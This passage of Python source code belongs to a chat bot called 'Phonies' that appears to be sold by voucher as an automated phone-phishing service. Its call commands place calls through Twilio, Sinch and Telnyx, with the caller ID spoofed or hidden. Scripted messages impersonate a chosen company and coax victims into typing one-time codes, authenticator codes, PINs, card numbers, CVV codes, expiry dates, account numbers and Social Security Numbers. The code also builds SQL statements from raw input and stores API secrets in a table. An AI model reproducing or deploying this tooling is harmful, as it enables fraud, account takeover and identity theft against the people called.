                        "approve": "As part of the confirmation, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the login attempt, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "cvv": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type the card CVV or CVC, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the charges attempt, Please type the card CVV or CVC, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "csc": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type the card CSC or CID, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the charges attempt, Please type the card CSC or CID, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "auth": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Open your authenticator app. And type the code on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the login attempt, Open your authenticator app. And type the code on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "pin": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": f"As part of the confirmation, Please type your {formatted_provider} PIN code, on your dial pad or keypad",
                        "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} PIN code, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "ssn": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type your Social Security Number, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the login attempt, Please type your Social Security Number, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "card": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type your Card Number, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the charges attempt, Please type your Card Number, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "acc": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": f"As part of the confirmation, Please type your {formatted_provider} Account Number, on your dial pad or keypad",
                        "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} Account Number, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "exp": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad",
                        "decline": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                }

                provider[prov] = lettering[custom_req]

                # save custom_provider json to provider.json file
                with open("provider.json", "w") as f:
                    json.dump(provider, f)

                send_message(
                    sender,
                    f"❌ *NOT REGISTRED*: {prov}\nHowever *Phonies* already create it for you! ✅",
                )

            call_from = configuration["twilio"]["phone"]
            call_from = call_from[random.randrange(len(call_from))]

            call_from = "464" if "hide" in message_text.lower() else call_from
            from_formatted = "ANONYMOUS" if "hide" in message_text.lower() else phone_format(call_from) 

            send_message(
                sender,
                f"ℹ️ *Call Details* (_v3_)\n\n*From*: {from_formatted}\n*To*: {phone_format(phone_number)}"
            )
            
            call_id = "-"
            call_control = "twilio"

            webhook_url = configuration["ngrok"]["url"] + "/twilio/outgoing"

            try:
                res = VoiceResponse()
                res.redirect(webhook_url, method="POST")
                call_twl = twl.calls.create(
                    timeout = 25,
                    record = True,
                    machine_detection = 'DetectMessageEnd',
                    status_callback=webhook_url + "_status",
                    status_callback_method='POST',
                    twiml = str(res),
                    to = phone_number,
                    from_ = call_from
                )

                call_id = call_twl.sid

                ongoing_call[call_id] = ""
                ongoing_call_command[call_id] = message_text
                delete_list_call[call_id] = []

            except Exception as e:
                err = repr(e)

                send_message(
                    sender,
                    f"*Error: {err}\n\nCopy this message, and paste it to our administrator 'staff'.*",
                )
                return

            # insert data to data table
            execute_statement(PHONY_DB, f"""INSERT INTO data VALUES ('{call_control}', '{call_from}', '{phone_number}', '{target_name}', '', '', 'call', '', '{webhook_url}', '{int(otp_digits)}', '{prov}', '', '', '{configuration["sinch"]["key"]}', '{configuration["sinch"]["secret"]}', '{call_id}', '{phona}', '{sender}', '{sender}')""")
                                                                    # ('call_control_id', 'from', 'to', 'name', 'isBot', 'gatherType', 'status', 'current_data_storedate', 'server', 'digits', 'provider', 'result', 'receive', 'key_api', 'auth_token', 'call_id', 'phone_number', 'chat_id', 'message_id')
            send_message(
                sender,
                f"{status_dict['call.inprogress']}"
            )
            btnnya = [
                    button("📞 Hangup", f"hangup")
            ]
            if "retry" in message_text:
                btnnya.append(button("❌ STOP Retry", f"stop_retry"))
            
            send_message(
                sender,
                f"{status_dict['call.initiated']}",
                buttons(btnnya)
            )

            # check sender tipe
            user = query(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender))
            if ("TRIAL" in user[1]):
                # update users expired to now
                execute_statement(PHONY_DB, f"UPDATE users SET expired = '{datetime.now()}' WHERE user_id = '{sender}'")
                send_message(sender, "Your trial is used, please purchase a voucher to continue using *Phonies* Calls.")

            return

    if "/call_v2" in message_text:
        if (" " not in message_text):
            send_message(sender, command_res['call_v2'])
            return

        if message_text.split(" ")[0] == "/call_v2":
            if not check_user():
                return

            call_type = message_text.split(" ")[1].lower()
            phone_number = message_text.split(" ")[2]

            # format the phone_number
            phone_number = phone_number.replace(" ", "").replace("(", "").replace(")", "").replace("-", "").replace(".", "")
            if ("+" not in phone_number):
                if (phone_number[0] == "1"):
                    phone_number = f"+{phone_number}"
                else:
                    phone_number = f"+1{phone_number}"

            phona = ''

            target_name = message_text.split(" ")[3].replace("_", " ").replace("-", " ")
            otp_digits = message_text.split(" ")[5]
            prov = message_text.split(" ")[4].lower() + f"_{call_type}" if call_type != "custom" else message_text.split(" ")[4].lower()
            prov = prov.replace("?", "") if "?" in prov else prov

            provider = json.load(open("provider.json"))
            
            spliter =  message_text.split(" ? ")[0] if (" ? " in message_text) else message_text.split("?")[0] if ("?" in message_text) else message_text
            phona = spliter.split(" ")[6] if (len(spliter.split(" ")) > 6) else ""
            phona = " ".join(phona) if (phona) else phona

            if (prov not in provider):
                registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"]
                custom_req = call_type

                formatted_provider = prov.replace(f"_{custom_req}", " ").replace("-", " ").replace("_", " ")
                prov = f"{prov}"
                lettering = {
                    "otp": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the login attempt, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "cvv": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type the card CVV or CVC, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the charges attempt, Please type the card CVV or CVC, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "csc": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type the card CSC or CID, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the charges attempt, Please type the card CSC or CID, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "auth": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Open your authenticator app. And type the code on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the login attempt, Open your authenticator app. And type the code on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "pin": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": f"As part of the confirmation, Please type your {formatted_provider} PIN code, on your dial pad or keypad",
                        "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} PIN code, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "ssn": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type your Social Security Number, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the login attempt, Please type your Social Security Number, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "card": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type your Card Number, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the charges attempt, Please type your Card Number, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "acc": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": f"As part of the confirmation, Please type your {formatted_provider} Account Number, on your dial pad or keypad",
                        "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} Account Number, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "exp": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad",
                        "decline": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                }

                provider[prov] = lettering[custom_req]

                # save custom_provider json to provider.json file
                with open("provider.json", "w") as f:
                    json.dump(provider, f)

                send_message(
                    sender,
                    f"❌ *NOT REGISTRED*: {prov}\nHowever *Phonies* already create it for you! ✅",
                )

            call_from = configuration["sinch"]["phone"]
            call_from = call_from[random.randrange(len(call_from))]

            call_from = "private" if "hide" in message_text.lower() else call_from
            from_formatted = "ANONYMOUS" if "hide" in message_text.lower() else phone_format(call_from) 
            webhook_url = configuration["ngrok"]["url"] + "/sinch/outgoing"

            send_message(
                sender,
                f"ℹ️ *Call Details* (_v2_)\n\n*From*: {from_formatted}\n*To*: {phone_format(phone_number)}"
            )
            
            call_id = "-"
            call_control = "sinch"

            try:
                req = requests.post("https://calling.api.sinch.com/calling/v1/callouts", headers = v2_headers, data = json.dumps({
                    "method": "customCallout",
                    "customCallout": {
                        "ice": json.dumps({
                            "instructions": [],
                            "action": {
                                "name": "connectPstn",
                                "number": phone_number,
                                "cli": call_from,
                                "dialTimeout": 25,
                                "amd": {
                                    "enabled": True
                                }
                            }
                        }),
                        "ace": webhook_url,
                        "pie": webhook_url,
                        "dice": webhook_url,
                        "maxDuration": 0
                    }
                }))
                res = req.json()

                if "errorCode" in res:
                    raise Exception(res["message"] + " References: " + res["reference"])

                call_id = res["callId"]

                ongoing_call[call_id] = ""
                ongoing_call_command[call_id] = message_text
                delete_list_call[call_id] = []

            except Exception as e:
                err = repr(e)

                send_message(
                    sender,
                    f"*Error: {err}\n\nCopy this message, and paste it to our administrator 'staff'.*",
                )
                return

            # insert data to data table
            execute_statement(PHONY_DB, f"""INSERT INTO data VALUES ('{call_control}', '{call_from}', '{phone_number}', '{target_name}', '', '', '', '', '{webhook_url}', '{int(otp_digits)}', '{prov}', '', '', '{configuration["sinch"]["key"]}', '{configuration["sinch"]["secret"]}', '{call_id}', '{phona}', '{sender}', '{sender}')""")
                                                                    # ('call_control_id', 'from', 'to', 'name', 'isBot', 'gatherType', 'status', 'current_data_storedate', 'server', 'digits', 'provider', 'result', 'receive', 'key_api', 'auth_token', 'call_id', 'phone_number', 'chat_id', 'message_id')
            send_message(
                sender,
                f"{status_dict['call.inprogress']}"
            )

            btnnya = [
                    button("📞 Hangup", f"hangup")
            ]
            if "retry" in message_text:
                btnnya.append(button("❌ STOP Retry", f"stop_retry"))
            

            send_message(
                sender,
                f"{status_dict['call.initiated']}",
                buttons(btnnya)
            )

            # check sender tipe
            user = query(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender))
            if ("TRIAL" in user[1]):
                # update users expired to now
                execute_statement(PHONY_DB, f"UPDATE users SET expired = '{datetime.now()}' WHERE user_id = '{sender}'")
                send_message(sender, "Your trial is used, please purchase a voucher to continue using *Phonies* Calls.")

            return

    if "/call" in message_text:
        if (" " not in message_text):
            send_message(sender, command_res['call'])
            return

        if message_text.split(" ")[0] == "/call":
            if not check_user():
                return

            call_type = message_text.split(" ")[1].lower()
            phone_number = message_text.split(" ")[2]

            # format the phone_number
            phone_number = phone_number.replace(" ", "").replace("(", "").replace(")", "").replace("-", "").replace(".", "")
            if ("+" not in phone_number):
                if (phone_number[0] == "1"):
                    phone_number = f"+{phone_number}"
                else:
                    phone_number = f"+1{phone_number}"

            phona = ''

            target_name = message_text.split(" ")[3].replace("_", " ").replace("-", " ")
            otp_digits = message_text.split(" ")[5]
            prov = message_text.split(" ")[4].lower() + f"_{call_type}" if call_type != "custom" else message_text.split(" ")[4].lower()
            prov = prov.replace("?", "") if "?" in prov else prov

            provider = json.load(open("provider.json"))

            spliter =  message_text.split(" ? ")[0] if (" ? " in message_text) else message_text.split("?")[0] if ("?" in message_text) else message_text
            phona = spliter.split(" ")[6] if (len(spliter.split(" ")) > 6) else ""
            phona = " ".join(phona) if (phona) else phona

            if (prov not in provider):
                registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"]
                custom_req = call_type

                formatted_provider = prov.replace(f"_{custom_req}", " ").replace("-", " ").replace("_", " ")
                prov = f"{prov}"
                lettering = {
                    "otp": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the login attempt, we will send you a one time code via SMS text message. Please type the code on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "cvv": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type the card CVV or CVC, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the charges attempt, Please type the card CVV or CVC, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "csc": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type the card CSC or CID, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the charges attempt, Please type the card CSC or CID, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "auth": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Open your authenticator app. And type the code on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the login attempt, Open your authenticator app. And type the code on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "pin": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": f"As part of the confirmation, Please type your {formatted_provider} PIN code, on your dial pad or keypad",
                        "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} PIN code, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "ssn": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type your Social Security Number, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the login attempt, Please type your Social Security Number, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "card": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, Please type your Card Number, on your dial pad or keypad",
                        "decline": "As part of the confirmation to block the charges attempt, Please type your Card Number, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "acc": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": f"As part of the confirmation, Please type your {formatted_provider} Account Number, on your dial pad or keypad",
                        "decline": f"As part of the confirmation to block the login attempt, Please type your {formatted_provider} Account Number, on your dial pad or keypad.",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                    "exp": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an attempted charges on your card, ending with ",
                        "msg2": "Therefore, to block this charges attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
                        "approve": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad",
                        "decline": "As part of the confirmation, we ask your card expired date, enter the the expired date with format M M / Y Y on your keypad or dialpad",
                        "1": True,
                        "2": True,
                        "lang": "en-US"
                    },
                }

                provider[prov] = lettering[custom_req]

                # save custom_provider json to provider.json file
                with open("provider.json", "w") as f:
                    json.dump(provider, f)

                send_message(
                    sender,
                    f"❌ *NOT REGISTRED*: {prov}\nHowever *Phonies* already create it for you! ✅",
                )

            call_from = configuration["telnyx"]["phone"]
            call_from = call_from[random.randrange(len(call_from))]

            if ("?" in message_text):
                opt = message_text.split("?")
                opt = opt[1].replace(" ", "")
                call_from = opt

            call_from = call_from.replace(" ", "").replace("(", "").replace(")", "").replace("-", "").replace(".", "")
            if ("+" not in call_from):
                if (call_from[0] == "1"):
                    call_from = f"+{call_from}"
                else:
                    call_from = f"+1{call_from}"

            texml_uid = configuration["telnyx"]["texml_uid"]
            webhook_url = configuration["ngrok"]["url"] + "/telnyx/outgoing"

            print(webhook_url, file=sys.stderr)

            send_message(
                sender,
                f"ℹ️ *Call Details*\n\nFrom: {phone_format(call_from)}\n*To*: {phone_format(phone_number)}"
            )
            
            call_id = "-"
            call_control = "-"

            try:
                on_call = telnyx.Call.create(
                    connection_id = texml_uid,
                    to = phone_number,
                    from_ = call_from,
                    webhook_url = "https://8927-172-174-216-115.ngrok.io/telnyx/outgoing",
                    timeout = 25,
                    answering_machine_detection = configuration["telnyx"]["amd"]
                )
                call_id = on_call.call_session_id
                call_control = on_call.call_control_id

                ongoing_call[call_id] = on_call
                ongoing_call_command[call_id] = message_text
                delete_list_call[call_id] = []

                balance = telnyx.Balance.retrieve()
                if float(balance.get('balance', '-1')) < float(2.0):
                    admin = query_many(PHONY_DB, "SELECT * FROM users WHERE tipe = 'admin'")
                    if (admin):
                        send_message(
                            admin[0][0],
                            f"Your balance is {balance.get('balance', '-1')} (LOW), please top up your balance to continue using Phony."
                        ) 

            except Exception as e:
                err = repr(e)

                err_state = {
                    "D46": f"Try again later, {phone_number} is busy OR your spoofer number is not available",
                    "D35": f"Your spoofer number {call_from} is invalid, Please check the number or change it.",
                    "Disable": "Phony Bot is maintenance, please try again later.",
                    "Authentication failed": "Phony is currently on maintenance, please try again later.",
                }

                for er in err_state:
                    if (er in err):
                        send_message(
                            sender,
                            err_state[er]
                        )
                        return

                send_message(
                    sender,
                    f"Error: {err}\n\nCopy this message, and paste it to our administrator 'staff'.",
                )
                return

            # insert data to data table
            execute_statement(PHONY_DB, f"INSERT INTO data VALUES ('{call_control}', '{call_from}', '{phone_number}', '{target_name}', '', '', '', '', '{webhook_url}', '{int(otp_digits)}', '{prov}', '', '', '{telnyx.api_key}', '{texml_uid}', '{call_id}', '{phona}', '{sender}', '{sender}')")
                                                                    # ('call_control_id', 'from', 'to', 'name', 'isBot', 'gatherType', 'status', 'current_data_storedate', 'server', 'digits', 'provider', 'result', 'receive', 'key_api', 'auth_token', 'call_id', 'phone_number', 'chat_id', 'message_id')

            send_message(
                sender,
                f"{status_dict['call.inprogress']}"
            )

            # check sender tipe
            user = query(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender))
            if ("TRIAL" in user[1]):
                # update users expired to now
                execute_statement(PHONY_DB, f"UPDATE users SET expired = '{datetime.now()}' WHERE user_id = '{sender}'")
                send_message(sender, "Your trial is used, please purchase a voucher to continue using *Phonies* Calls.")

            return

    if "/account" == message_text:
        user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender))
        if (not user):
            send_message(
                sender,
                f"""*Phonies* _Calls_ 🇺🇸

*Your Account Details*
Your '{get_name(sender)}' account is not registered in our system!

To access all of our features you can type help, please register your account first by typing redeem if you don't have any voucher, you can purchase it by typing purchase
                """
            )
            return

        user = user[0]

        send_message(
            sender,
            f"""*Phonies* _Calls_ 🇺🇸
            
What's up {get_first_name(sender)} 😉

*Your Account Details*
_Account Level_: *{user[1]}* 
_Expiry Date_: *{user[2]}*

_Want to renew your account? Purchase it first purchase_
            """
        )
        return

    if "/referral" == message_text:
        user = query_many(PHONY_DB, "SELECT * FROM referral WHERE user_id = '{}'".format(sender))
        if (not user):
            send_message(
                sender,
                f"*UNAUTHORIZED*: You are not allowed to use this command"
            )
            return

        user = user[0]

        send_message(
            sender,
            f"""*Phonies* _Referral_ 🇺🇸

*Your Referral Details*
_Referral Code_: *{user[2]}*
_Balance_: *{rupiah(int(user[1]))}*

_Want to get more referral? Share your referral code to your friends!_

To check your referral history, type /referral_history
            """
        )
        return

    if "/sms" in message_text:
        user = query_many(PHONY_DB, "SELECT * FROM referral WHERE user_id = '{}'".format(sender))
        if (not user):
            send_message(
                sender,
                f"*UNAUTHORIZED*: You are not allowed to use this command"
            )
            return

        if (len(message_text.split(" ")) < 2):
            number_list = ""
            for number in configuration["twilio"]["phone"]:
                number_list += f"{number}\n"
            send_message(
                sender,
                f"Please type */sms* *<phone_number>*\n\n*Here the available number:* \n\n{number_list}"
            )
            return

        phone = message_text.split(" ")[1]

        if (not phone):
            number_list = ""
            for number in configuration["twilio"]["phone"]:
                number_list += f"{number}\n"
            send_message(
                sender,
                f"Please type */sms* *<phone_number>*\n\n*Here the available number:* \n\n{number_list}"
            )
            return

        if (not phone in configuration["twilio"]["phone"]):
            number_list = ""
            for number in configuration["twilio"]["phone"]:
                number_list += f"{number}\n"
            send_message(
                sender,
                f"Phone number {phone} is not available\n\n*Here the available number:* \n\n{number_list}"
            )
            return

        send_message(
            sender,
            f"Receive SMS of {phone}"
        )

        msgnya = twl.messages.list(to=phone, limit=10)
        if (not msgnya):
            send_message(
                sender,
                f"There no message in {phone}"
            )
            return

        msgku = ""
        for msg in msgnya:
            msgku += f"From: {msg.from_}\n"
            msgku += f"Message: {msg.body}\n"
            msgku += f"Time: {msg.date_created}\n"

        send_message(
            sender,
            f"{msgku}"
        )

        return

    if "/referral_history" == message_text:
        user = query_many(PHONY_DB, "SELECT * FROM referral WHERE user_id = '{}'".format(sender))
        if (not user):
            send_message(
                sender,
                f"*UNAUTHORIZED*: You are not allowed to use this command"
            )
            return

        history = query_many(PHONY_DB, "SELECT * FROM referral_history WHERE id_referral = '{}'".format(sender))
        if (not history):
            send_message(
                sender,
                f"You don't have any referral history"
            )
            return

        message = f"*Phonies* _Referral_ 🇺🇸"

        for h in history:
            message += f"\n\nRecord of {parse_id(h[1])} ({get_name(h[1])})"
            message += f"\n*Transaction Amount*: {rupiah(int(h[2]))}"
            message += f"\n*Bonus*: {rupiah(int(h[3]))}"
            message += f"\n*Date*: {h[4]}"

        send_message(
            sender,
            message
        )
        return

    if "/ref_wd" in message_text:
        if not check_admin():
            send_message(
                sender,
                "*UNAUTHORIZED*: You are not allowed to use this command"
            )
            return
        if (" " not in message_text):
            send_message(
                sender,
                "Please type '/ref_wd <user_id> <amount:idr>'"
            )
            return
        
        ref_id = message_text.split(" ")[1]
        amount = message_text.split(" ")[2]

        reff = query_many(PHONY_DB, "SELECT * FROM referral WHERE user_id = '{}'".format(ref_id))
        if (not reff):
            send_message(
                sender,
                f"Referral {ref_id} not found"
            )
            return

        reff = reff[0]

        if (int(reff[1]) < int(amount)):
            send_message(
                sender,
                f"Insufficient balance"
            )
            return

        execute_statement(PHONY_DB, f"UPDATE referral SET balance = '{int(reff[1]) - int(amount)}' WHERE user_id = '{ref_id}'")
        execute_statement(PHONY_DB, f"INSERT INTO referral_history VALUES ('{ref_id}', '{ref_id}', '-{amount}', '0', '{datetime.now()}')")

        send_message(
            sender,
            f"*Successfully*: withdraw {rupiah(int(amount))} from {get_name(ref_id)} ({parse_id(ref_id)})'s balance"
        )
        return

    if "/ref_list" in message_text:
        if not check_admin():
            send_message(
                sender,
                "*UNAUTHORIZED*: You are not allowed to use this command"
            )
            return

        referral = query_many(PHONY_DB, "SELECT * FROM referral")
        if (not referral):
            send_message(
                sender,
                f"No referral found"
            )
            return

        message = f"*Phonies* _Referral_ 🇺🇸"

        for r in referral:
            message += f"\n\nRecord of {get_name(r[0])} ({parse_id(r[0])})"
            message += f"\n*Referral Code*: {r[2]}"
            message += f"\n*Balance*: {rupiah(int(r[1]))}"
            message += f"\n*Margin*: {r[3]}"

        send_message(
            sender,
            message
        )
        return

    if "/create_ref" in message_text:
        if not check_admin():
            send_message(
                sender,
                "*UNAUTHORIZED*: You are not allowed to use this command"
            )
            return

        if (" " not in message_text):
            send_message(
                sender,
                "Please type '/create_ref <user_id> <code> <margin (%):integer>'"
            )
            return

        user_id = message_text.split(" ")[1]
        code = message_text.split(" ")[2]
        margin = message_text.split(" ")[3]

        if (not user_id or not code):
            send_message(
                sender,
                "Please check your command"
            )
            return

        execute_statement(PHONY_DB, "INSERT INTO referral VALUES ('{}', 0, '{}', {})".format(user_id, code, margin))
        send_message(
